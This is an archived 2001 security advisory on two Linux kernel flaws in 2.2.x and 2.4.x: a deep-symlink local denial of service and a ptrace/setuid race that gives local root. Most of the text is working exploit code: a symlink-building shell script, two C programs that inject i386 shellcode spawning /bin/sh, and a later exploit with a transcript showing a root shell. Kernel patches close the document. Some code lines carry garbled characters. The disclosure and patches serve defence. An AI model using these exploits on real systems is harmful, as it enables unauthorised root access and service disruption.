19th Oct 2001 [SBWID-4800]
COMMAND
ptrace and deep symlinks
SYSTEMS AFFECTED
kernels 2.2.x, x<=19 and 2.4.y, y<=9
PROBLEM
Nergal found following : The first vulnerability results in local DoS.
The second one, involving ptrace, can be used to gain root privileges
locally (in case of default install of most popular distributions).
Linux 2.0.x is not vulnerable to the ptrace bug mentioned.
I. Local DoS via deep symlinks
==============================
An attacker can force the kernel to spend almost arbitrary amount of
time on dereferencing a single symlink, which prevents other processes
from running. The attached script, mklink.sh, takes a single parameter
N. The script creates 5 symlinks, each of them containing 2*N+1 path
elements. When N=3, the symlinks look this way:
$ ls -lG
drwxr-xr-x 2 nergal 4096 wrz 21 14:46 l
lrwxrwxrwx 1 nergal 53 wrz 21 14:46 l0 ->
l1/../l1/../l1/../l/../../../../../../../etc/services
lrwxrwxrwx 1 nergal 19 wrz 21 14:46 l1 -> l2/../l2/../l2/../l
lrwxrwxrwx 1 nergal 19 wrz 21 14:46 l2 -> l3/../l3/../l3/../l
lrwxrwxrwx 1 nergal 19 wrz 21 14:46 l3 -> l4/../l4/../l4/../l
lrwxrwxrwx 1 nergal 19 wrz 21 14:46 l4 -> l5/../l5/../l5/../l
drwxr-xr-x 2 nergal 4096 wrz 21 14:46 l5
drwxr-xr-x 2 rybagowa 4096 lut 27 1999 still_here
The amount of time the command \"head l0\" consumes (measured with
time(1)) follows:
N system time
10: sys 0m0.050s
20: sys 0m1.400s
30: sys 0m10.150s
40: sys 0m41.840s
When \"head l0\" is being executed, other processes are not scheduled
to run. Thus the possibility of local DoS (in case of SMP you may need
to spawn one mklink.sh process per cpu). The time spent on
dereferencing \"l0\" is proportional to the number of path elements in
normalized \"l0\". So, when N=120, the scheduler should be locked out
for about three hours. One can reach N=600, in case of 2.4.9; also in
case of 2.4.9, one can create even more (up to eight) levels of
symlinks.
2.4.10 fixed this problem, but not completely. Under 2.4.10 \"head l0\"
command would not block the scheduler, but it cannot be killed. The
problem is fully solved in 2.4.12.
II. Root compromise by ptrace(3)
================================
In order for this flaw to be exploitable, /usr/bin/newgrp must be
setuid root and world-executable. Additionally, newgrp, when run with
no arguments, should not prompt for password. This conditions are
satisfied in case of most popular Linux distributions (but not Openwall
GNU/*/Linux). Suppose the following flow of execution (initially,
Process 1 and Process 2 are unprivileged):
Time Process 1 Process 2
0 ptrace(PTRACE_ATTACH, pid of Process 2,...)
1 execve /usr/bin/newgrp
2 execve /any/thing/suid
3 execve default user shell
4 execve ./insert_shellcode
The unexpected happens at moment 2. Process 2 is still traced, execve
/any/thing/suid succeeds, and the setuid bit is honored ! This is so
because
1) the property of \"having an ptrace-attached child\" survives the execve
2) at moment 2, the tracer (process 1) has CAP_SYS_PTRACE set (well, has all
root privs), therefore it is allowed to trace even execve of setuid
binary.
In moment 3, newgrp executes a shell, which is an usual behavior. This
shell is still able to control the process 2 with ptrace. Therefore,
the \"./insert_shellcode\" binary is able to insert arbitrary code into
the address space of Process 2. Game over.
In order to exploit this kernel vulnerability, one needs a setuid root
binary which execs an user-defined binary (or a shell). Newgrp is
appropriate on most distributions. On default install of slackware it
does not work (the password fields in /etc/group are empty, and newgrp
demands a password). However, one can use \"su\" on this distribution.
\"su\" binary is compiled without PAM support on slackware, therefore
it execs an user shell.
Do you remember the exploit against *BSD procfs, published in January
2000
(http://www.securityfocus.com/cgi-bin/archive.pl?id=1&mid=43189) ?
This one is very similar; a setuid binary is spawned so that the system
treats it as a tracing process. Observe that in case of newgrp, only
CAP_SYS_SETGID is required (plus probably some reserved egid E to read
gshadow; provided that gshadow would be readable by gid E). If the file
system supported granting capabilities to programs (not only +s bit),
this bug could have been benign. Similarly, \"su\" needs only
CAP_SYS_SETUID+CAP_SYS_SETGID (and egid shadow). The \"least
privilege\" rule, strictly applied, can save from a lot of unexpected
trouble.
This bug seems to be Linux-specific. I have tested FreeBSD, OpenBSD and
[older versions of] Irix and Solaris. None of the tested systems
honored setuid bit when an executing process was traced, even when the
tracer was root.
Exploit
=======
The attached mklink.sh script creates malicious symlinks. ptrace-exp.c
and insert_shellcode.c exploit the ptrace bug on i386 architecture. You
will probably need to adjust #define in the latter. Note that
ptrace-exp uses LD_DEBUG variable to force a setuid program to generate
output. This technique (stderr redirected to a pipe, LD_DEBUG set,
especially LD_DEBUG=symbols) allows for forced suspending of a setuid
binary in a precisely determined moments, which may be helpful to build
exploits which rely on race-conditions. And finally, notice that under
Owl LD_DEBUG is ignored in case of suid binaries.
mklink.sh
=========
#!/bin/sh
# by Nergal
mklink()
{
IND=$1
NXT=$(($IND+1))
EL=l$NXT/../
P=\"\"
I=0
while [ $I -lt $ELNUM ] ; do
P=$P\"$EL\"
I=$(($I+1))
done
ln -s \"$P\"l$2 l$IND
}
#main program
if [ $# != 1 ] ; then
echo A numerical argument is required.
exit 0
fi
ELNUM=$1
mklink 4
mklink 3
mklink 2
mklink 1
mklink 0 /../../../../../../../etc/services
mkdir l5
mkdir l
insert_shellcode.c
==================
/* by Nergal */
#include <stdio.h>
#include <sys/ptrace.h>
struct user_regs_struct {
long ebx, ecx, edx, esi, edi, ebp, eax;
unsigned short ds, __ds, es, __es;
unsigned short fs, __fs, gs, __gs;
long orig_eax, eip;
unsigned short cs, __cs;
long eflags, esp;
unsigned short ss, __ss;
};
/* spiritual black dimension */
char hellcode[] =
\"\\x31\\xc0\\xb0\\x31\\xcd\\x80\\x93\\x31\\xc0\\xb0\\x17\\xcd\\x80\"
\"\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b\"
\"\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd\"
\"\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh\";
#define ADDR 0x00125000
main(int argc, char **argv)
{
int status;
int i, wpid, pid = atoi(argv[1]);
struct user_regs_struct regs;
if (ptrace(PTRACE_GETREGS, pid, 0, Žs)) {
perror(\"PTRACE_GETREGS\");
exit(0);
}
regs.eip = ADDR;
if (ptrace(PTRACE_SETREGS, pid, 0, Žs))
exit(0);
for (i = 0; i <= strlen(hellcode) + 5; i += 4)
ptrace(PTRACE_POKETEXT, pid, ADDR + i,
*(unsigned int *) (hellcode + i));
// kill (pid, SIGSTOP);
if (ptrace(PTRACE_DETACH, pid, 0, 0))
exit(0);
close(2);
do {
wpid = waitpid(-1, &status, 0);
if (wpid == -1) {
perror(\"waitpid\");
exit(1);
}
} while (wpid != pid);
}
ptrace-exp.c
============
/* by Nergal */
#include <stdio.h>
#include <sys/ptrace.h>
#include <fcntl.h>
#include <sys/ioctl.h>
void ex_passwd(int fd)
{
char z;
if (read(fd, &z, 1) <= 0) {
perror(\"read:\");
exit(1);
}
execl(\"/usr/bin/passwd\", \"passwd\", 0);
perror(\"execl\");
exit(1);
}
void insert(int pid)
{
char buf[100];
char *ptr = buf;
sprintf(buf, \"exec ./insert_shellcode %i\\n\", pid);
while (*ptr && !ioctl(0, TIOCSTI, ptr++));
}
main(int argc, char **argv)
{
int res, fifo;
int status;
int pid, n;
int pipa[2];
char buf[1024];
pipe(pipa);
switch (pid = fork()) {
case -1:
perror(\"fork\");
exit(1);
case 0:
close(pipa[1]);
ex_passwd(pipa[0]);
default:;
}
res = ptrace(PTRACE_ATTACH, pid, 0, 0);
if (res) {
perror(\"attach\");
exit(1);
}
res = waitpid(-1, &status, 0);
if (res == -1) {
perror(\"waitpid\");
exit(1);
}
res = ptrace(PTRACE_CONT, pid, 0, 0);
if (res) {
perror(\"cont\");
exit(1);
}
fprintf(stderr, \"attached\\n\");
switch (fork()) {
case -1:
perror(\"fork\");
exit(1);
case 0:
close(pipa[1]);
sleep(1);
insert(pid);
do {
n = read(pipa[0], buf, sizeof(buf));
} while (n > 0);
if (n < 0)
perror(\"read\");
exit(0);
default:;
}
close(pipa[0]);
dup2(pipa[1], 2);
close(pipa[1]);
/* Decrystallizing reason */
setenv(\"LD_DEBUG\", \"libs\", 1);
/* With strength I burn */
execl(\"/usr/bin/newgrp\", \"newgrp\", 0);
}
Update
======
Christophe Devine has posted to securitybugware a better exploit :
/*
Here is a fully working exploit for i386 Linux kernel < 2.4.11
Note: it should also work with /bin/login replaced by /usr/bin/newgrp
(which does usually not require a valid username/password), and
in case /bin/ping is not suid you may use any root-suid program.
This sploit will certainly not work if the stack is not executable;
in that case you will have to adjust myEIP.
Tested on Debian 2.2r3 :
$ telnet localhost
Trying 127.0.0.1...
Connected to localhost.
Escape character is \'^]\'.
Linux 2.2.19pre17 (localhost) (2)
cibox login: chris
Password:
Last login: Sat Jan 12 13:27:03 2002 on tty1
$ exec ./a.out
enter: exec ./a.out 1062
cibox login: chris
Password:
Last login: Sat Jan 12 13:27:23 2002 from localhost on pts/2
$ exec ./a.out 1062
Enjoy.
sh-2.03# id
uid=0(root) gid=100(users) groups=100(users)
*/
#include <sys/wait.h>
#include <asm/user.h>
char rootshell[] =
\"\\x31\\xDB\\x31\\xC0\\xB0\\x17\\xCD\\x80\\x09\\xC0\\x74\\x1C\\x31\\xD2\\xB2\\x0E\"
\"\\xEB\\x03\\x59\\xEB\\x28\\xE8\\xF8\\xFF\\xFF\\xFF\\x53\\x68\\x69\\x74\\x20\\x68\"
\"\\x61\\x70\\x70\\x65\\x6E\\x73\\x2E\\x0A\\x31\\xD2\\xB2\\x07\\xEB\\x03\\x59\\xEB\"
\"\\x0C\\xE8\\xF8\\xFF\\xFF\\xFF\\x45\\x6E\\x6A\\x6F\\x79\\x2E\\x0A\\x31\\xDB\\xB3\"
\"\\x01\\x31\\xC0\\xB0\\x04\\xCD\\x80\\xEB\\x03\\x5B\\xEB\\x0D\\xE8\\xF8\\xFF\\xFF\"
\"\\xFF\\x2F\\x62\\x69\\x6E\\x2F\\x73\\x68\\x00\\x89\\xE7\\x89\\xF9\\x89\\xD8\\xAB\"
\"\\x89\\xFA\\x31\\xC0\\xAB\\xB0\\x0B\\xCD\\x80\\x31\\xDB\\xB3\\x01\\x31\\xC0\\xB0\"
\"\\x01\\xCD\\x80\";
#define myEIP 0xBFFFFF00
int main( int argc, char *argv[] )
{
int p, i;
struct user_regs_struct r;
if( argc == 2 )
{
p = atoi( argv[1] );
ptrace( PTRACE_GETREGS, p, 0, &r );
r.eip = myEIP;
ptrace( PTRACE_SETREGS, p, 0, &r );
for (i = 0; i < 115; i += 4 )
ptrace(PTRACE_POKETEXT, p, myEIP+i, *(int *)(rootshell+i));
ptrace( PTRACE_DETACH, p, 0, 0 );
waitpid( p, 0, 0 );
return( 0 );
}
if( ! ( p = fork() ) )
{
execl( \"/bin/ping\", \"/bin/ping\", \"127.0.0.1\", 0 );
return( 1 );
}
ptrace( PTRACE_ATTACH, p, 0, 0 );
waitpid( p, 0, 0 );
printf( \"enter: exec %s %i\\n\", argv[0], p );
ptrace( PTRACE_CONT, p, 0, 0 );
execl( \"/bin/login\", \"/bin/login\", 0 );
return( 1 );
}
SOLUTION
The kernel developers were notified on 18th September. vendor-sec at
lists dot de was notified on 9th October.
2.4.12 kernel fixes both presented problems. The attached patches,
2.2.19-deep-symlink.patch and 2.2.19-ptrace.patch, both blessed by
Linus, can be used to close the vulnerability in 2.2.19. The (updated)
Openwall GNU/*/Linux kernel patches can be retrieved from
http://www.openwall.com/linux/ Note that the default Owl installation
is not vulnerable to the ptrace bug described.
Patches
=======
--- linux-2.2.19/fs/namei.c.orig Wed Oct 10 09:31:37 2001
+++ linux-2.2.19/fs/namei.c Wed Oct 10 10:30:56 2001
@@ -277,6 +277,15 @@
result->d_op->d_revalidate(result, flags);
return result;
}
+/*
+ * Yes, this really increments the link_count by 5, and
+ * decrements it by 4. Together with checking against 25,
+ * this limits recursive symlink follows to 5, while
+ * limiting consecutive symlinks to 25.
+ *
+ * Without that kind of total limit, nasty chains of consecutive
+ * symlinks can cause almost arbitrarily long lookups.
+ */
static struct dentry * do_follow_link(struct dentry *base, struct dentry *dentry, unsigned int follow)
{
@@ -284,13 +293,17 @@
if ((follow & LOOKUP_FOLLOW)
&& inode && inode->i_op && inode->i_op->follow_link) {
- if (current->link_count < 5) {
+ if (current->link_count < 25) {
struct dentry * result;
- current->link_count++;
+ if (current->need_resched) {
+ current->state = TASK_RUNNING;
+ schedule();
+ }
+ current->link_count += 5;
/* This eats the base */
- result = inode->i_op->follow_link(dentry, base, follow);
- current->link_count--;
+ result = inode->i_op->follow_link(dentry, base, follow|LOOKUP_INSYMLINK);
+ current->link_count -= 4;
dput(dentry);
return result;
}
@@ -324,6 +337,8 @@
struct dentry * dentry;
struct inode *inode;
+ if (!(lookup_flags & LOOKUP_INSYMLINK))
+ current->link_count=0;
if (*name == \'/\') {
if (base)
dput(base);
--- linux-2.2.19/include/linux/fs.h.orig Wed Oct 10 10:06:41 2001
+++ linux-2.2.19/include/linux/fs.h Wed Oct 10 10:07:58 2001
@@ -872,6 +872,7 @@
#define LOOKUP_DIRECTORY (2)
#define LOOKUP_SLASHOK (4)
#define LOOKUP_CONTINUE (8)
+#define LOOKUP_INSYMLINK (16)
extern struct dentry * lookup_dentry(const char *, struct dentry *, unsigned int);
extern struct dentry * __namei(const char *, unsigned int);
diff -urP linux-2.2.19/fs/exec.c linux/fs/exec.c
--- linux-2.2.19/fs/exec.c Mon Mar 26 07:13:23 2001
+++ linux/fs/exec.c Tue Oct 9 05:00:50 2001
@@ -552,12 +645,11 @@
}
/*
- * We mustn\'t allow tracing of suid binaries, unless
- * the tracer has the capability to trace anything..
+ * We mustn\'t allow tracing of suid binaries, no matter what.
*/
static inline int must_not_trace_exec(struct task_struct * p)
{
- return (p->flags & PF_PTRACED) && !cap_raised(p->p_pptr->cap_effective, CAP_SYS_PTRACE);
+ return (p->flags & PF_PTRACED);
}
/*
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH